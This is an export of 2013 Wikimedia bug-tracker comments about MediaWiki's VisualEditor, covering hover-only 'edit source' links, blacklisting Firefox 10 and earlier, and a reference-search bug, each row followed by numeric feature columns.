[[WP:Bugzilla]]",,,1373094343,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,1.5,0.0,0.75,0.5,0.75,5.75,1.75,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,3.25,10.5,0.0,2.75,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.75,2.0,0.5,0.5,1.25,0.5,0.0,0.0,0.75,0.25,0.0,0.25,0.0,2.5,0.0,0.0,0.0,0.0,0.75,13.0,0.25,0.5,0.25,1.25,0.0,0.75,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.25,0.0,4.25,3.0,9.75,0.75,1.5,5.75,0.0,0.0,0.0,0.0,4.25,0.0,0.25,0.0,1.5,10.5,5.0,1.0,4.5,0.0,1.5,0.0,0.5,2.0,0.0,2.5,0.75,0.25,3.25,4.649180460889322,0.6837065887698799,"This should be a priority and not just an enhancement. To think that future versions of MediaWiki will be crippled longterm by this incredibly buggy and slow visual editor is very discouraging. 

At the very least there needs to be a preference for direct ""edit"" and ""edit source"" links built in to MediaWiki preferences on the edit tab of preferences. MediaWiki installations should not need a ""gadget"" preference added for this by each webmaster of every MediaWiki installation. 

The hidden link to ""edit source"" is slowing down many editors. For more info and other options: 

[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Edit_and_edit_source_links_so_confusing_I_had_to_disable_Visual_Editor_in_preferences]]

[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#Note_the_many_unhappy_people_who_do_not_see_the_HIDDEN_.22edit_source.22_link]]

A thread linked in a previous comment (comment 1) has been archived:
[[Wikipedia:VisualEditor/Feedback/Archive_2013_07#How_to_disable.3F]]

There have been many more comments requesting a direct link to ""edit source"" on each section. See:
[[Wikipedia:VisualEditor/Feedback]] and its archives.

Slowing down the many editors who will continue to need source editing to edit complex things more easily is a really dumb idea. What is the logic? That you will irritate and trick editors into using the visual editor? That they will click the ""edit"" link instead of the ""edit source"" by being tricked? It is extremely irritating to have to spend extra time to get to source editing. You will not lack in bug reports by providing direct links to ""edit source"". 

For help on putting links in Bugzilla threads:
[[WP:Bugzilla]]"
245431,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","**gigs** wrote:

It seems no one has pointed out that pads and phones and touchscreens usually can't ""hover"".  Hover stuff should pretty much never be a necessary part of any web UI.",,,1373091895,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.8636363636363636,"**gigs** wrote:

It seems no one has pointed out that pads and phones and touchscreens usually can't ""hover"".  Hover stuff should pretty much never be a necessary part of any web UI."
245423,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",Clarifying.,,,1372801897,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,5.5,1.0,Clarifying.
245415,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","@Krinkle: I think the change of the summary is wrong.

This is (from what I get from the comments, the discussions linked are a little less clear I'm afraid) not about section ""edit source"" links being loaded with delay (although this would be an issue, too).
It's about having to hover over the ""edit"" link to be able to see the ""edit source link"". They should both be directly accessible (without hovering and visibility changes).",,,1372801493,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.0,1.0,6.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,7.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,7.0,1.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,1.0,0.0,6.0,0.0,5.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,3.704081632653061,0.6836734693877551,"SCREEN_NAME: I think the change of the summary is wrong.

This is (from what I get from the comments, the discussions linked are a little less clear I'm afraid) not about section ""edit source"" links being loaded with delay (although this would be an issue, too).
It's about having to hover over the ""edit"" link to be able to see the ""edit source link"". They should both be directly accessible (without hovering and visibility changes)."
245408,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",This is (besides bug 50542) one of the main reasons a seamless coexistence of VisualEditor and Wikitext editor is *not* possible at this time (as intended by the WMF).,,,1372799152,,PHID-USER-v3yn5qf233ggnnnmvejc,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,11.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.861111111111111,0.8333333333333334,This is (besides bug 50542) one of the main reasons a seamless coexistence of VisualEditor and Wikitext editor is *not* possible at this time (as intended by the WMF).
245402,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Note that this request is being repeated a lot, including by people who are unhappy that mousing over causes words to pop up, which they say disrupts reading the page. They would prefer the words be always visible to avoid this.",,,1372767720,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,4.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,18.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,9.0,4.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,7.0,0.0,0.0,0.0,4.177777777777778,0.8444444444444444,"Note that this request is being repeated a lot, including by people who are unhappy that mousing over causes words to pop up, which they say disrupts reading the page. They would prefer the words be always visible to avoid this."
245396,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover",This was proposed before and even had a rejected patch by me: I13bbb954.,,,1372725359,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,This was proposed before and even had a rejected patch by me: I13bbb954.
245390,"VisualEditor: Display both ""edit"" and ""edit source"" links for sections without hover","Sorry - wrong section.

See:
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562471375#How_to_disable.3F",,,1372725043,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-em7qpd4h4h3xgy2ceara,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,1.0,"Sorry - wrong section.

See:
URL"
52534,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"A firefox 5.0 user is reporting that blacklisting simply isn't working - they're seeing the VE, broken. Their response to ""are you spoofing user headers"" was along the lines of ""what the heck is that?"" which answers that question.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372719060,1372727423.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-otwsyh65xhzuochbdcrh,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,6.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,7.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,1.0,1.0,6.0,0.0,4.0,0.0,3.0,1.0,0.0,6.0,0.0,0.0,0.0,3.9402985074626864,0.7014925373134329,"A firefox 5.0 user is reporting that blacklisting simply isn't working - they're seeing the VE, broken. Their response to ""are you spoofing user headers"" was along the lines of ""what the heck is that?"" which answers that question.

--------------------------
**Version**: unspecified
**Severity**: normal"
245056,VisualEditor: Firefox 10 and under have issues and should be blacklisted,This is now deployed.,,,1372727423,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,This is now deployed.
245053,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Change 71554 merged by jenkins-bot:
Blacklist Firefox <= 10 per reports that it's broken

https://gerrit.wikimedia.org/r/71554",,,1372723165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,14.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,1.0,"Change 71554 merged by jenkins-bot:
Blacklist Firefox <= 10 per reports that it's broken

GERRIT_URL"
245051,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"(In reply to comment #6)
> I re-checked FF10 on Windows 7:  whether editing a whole page or a section
> of a page FF10 presents the loading... bars but never presents the editor

OK, we'll blacklist Firefox 10 and under per the above patch; will see if we can do a quick deploy today to avoid user confusion.",,,1372721478,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,12.0,0.0,5.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3095238095238093,0.9047619047619048,"(In reply to comment #6)
QUOTE
QUOTE

OK, we'll blacklist Firefox 10 and under per the above patch; will see if we can do a quick deploy today to avoid user confusion."
245047,VisualEditor: Firefox 10 and under have issues and should be blacklisted,I re-checked FF10 on Windows 7:  whether editing a whole page or a section of a page FF10 presents the loading... bars but never presents the editor,,,1372721333,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,12.0,3.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.8125,0.8125,I re-checked FF10 on Windows 7:  whether editing a whole page or a section of a page FF10 presents the loading... bars but never presents the editor
245042,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Change 71554 had a related patch set uploaded by Jforrester:
Blacklist Firefox <= 10 per reports that it's broken

https://gerrit.wikimedia.org/r/71554",,,1372721244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,12.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.32,1.0,"Change 71554 had a related patch set uploaded by Jforrester:
Blacklist Firefox <= 10 per reports that it's broken

GERRIT_URL"
245039,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"(In reply to comment #3)
> Tried FF 5, 9, and 10, VE ""Edit"" links are available in all of them along
> with
> ""Edit source"" links.  In each case VE only displays the loading bars and does
> not present any usable interface.

We've had a user swear blind that everything works fine in FF 10. Clearly they misled us. :-(",,,1372721101,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,5.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.210526315789474,0.8157894736842105,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

We've had a user swear blind that everything works fine in FF 10. Clearly they misled us. :-("
245034,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Tried FF 5, 9, and 10, VE ""Edit"" links are available in all of them along with ""Edit source"" links.  In each case VE only displays the loading bars and does not present any usable interface.",,,1372719656,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,7.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,11.0,11.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.369565217391304,0.782608695652174,"Tried FF 5, 9, and 10, VE ""Edit"" links are available in all of them along with ""Edit source"" links.  In each case VE only displays the loading bars and does not present any usable interface."
245028,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"Wait, so non-whitelisted browsers are let through? Is this documented anywhere?

I'd suggest anything not whitelisted be blacklisted, frankly. We've got firefoxes 5, 9 and 10 producing substantial problems.",,,1372719459,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,False,,,0,,0.0,2.0,0.0,5.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.365853658536586,0.8780487804878049,"Wait, so non-whitelisted browsers are let through? Is this documented anywhere?

I'd suggest anything not whitelisted be blacklisted, frankly. We've got firefoxes 5, 9 and 10 producing substantial problems."
245025,VisualEditor: Firefox 10 and under have issues and should be blacklisted,"We don't blacklist Firefox 5. We currently blacklist:

* MSIE <= 10
* Android <= 3
* Blackberry
* Opera

We whitelist:
* Firefox >= 11
* Iceweasel >= 10
* Safari >= 5
* Chrome >= 19

All other browsers are let through, with a warning.

Does this mean we should blacklist Firefox 5.0?",,,1372719336,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-otwsyh65xhzuochbdcrh,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,5.0,3.0,8.0,1.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.037974683544304,0.5569620253164557,"We don't blacklist Firefox 5. We currently blacklist:

* MSIE <= 10
* Android <= 3
* Blackberry
* Opera

We whitelist:
* Firefox >= 11
* Iceweasel >= 10
* Safari >= 5
* Chrome >= 19

All other browsers are let through, with a warning.

Does this mean we should blacklist Firefox 5.0?"
52520,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**Author:** `rachelqa99`

**Description:**
enter erroneous text for existing reference

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/User:Rachel99/testing_070113?veaction=edit

**Attached**: {F11502}",High,80.0,1372712580,1380559887.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5mroix5k2facuxaaopyg,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.2545454545454544,0.43636363636363634,"**Author:** CODE

**Description:**
enter erroneous text for existing reference

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11502}"
244159,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,On review this was specifically fixed by the changes to how the references list was constructed; marking as such.,,,1380559887,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,5.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.523809523809524,0.9047619047619048,On review this was specifically fixed by the changes to how the references list was constructed; marking as such.
244154,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"I can't reproduce this either. Time for a close as ""worksforme""?",,,1380546929,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.375,0.9375,"I can't reproduce this either. Time for a close as ""worksforme""?"
244148,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"Created attachment 12928
screenshot of dialog

I can't reproduce this; maybe the UI has been fixed?

Attached is the list I see.  Typing 'ux' in the input box removes references that dont match the string 'ux'.  Typing 'sys' reduces the list to one reference that does match the box.

**Attached**: {F11504}",,,1374557703,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-5mroix5k2facuxaaopyg,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,3.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,17.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,4.0,3.0,1.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3896103896103895,0.6623376623376623,"Created attachment 12928
screenshot of dialog

I can't reproduce this; maybe the UI has been fixed?

Attached is the list I see.  Typing 'ux' in the input box removes references that dont match the string 'ux'.  Typing 'sys' reduces the list to one reference that does match the box.

**Attached**: {F11504}"
244140,VisualEditor: Searching to re-use an existing reference doesn't use the correct internal list,"**rachelqa99** wrote:

first reference is picked when erroneous text typed in

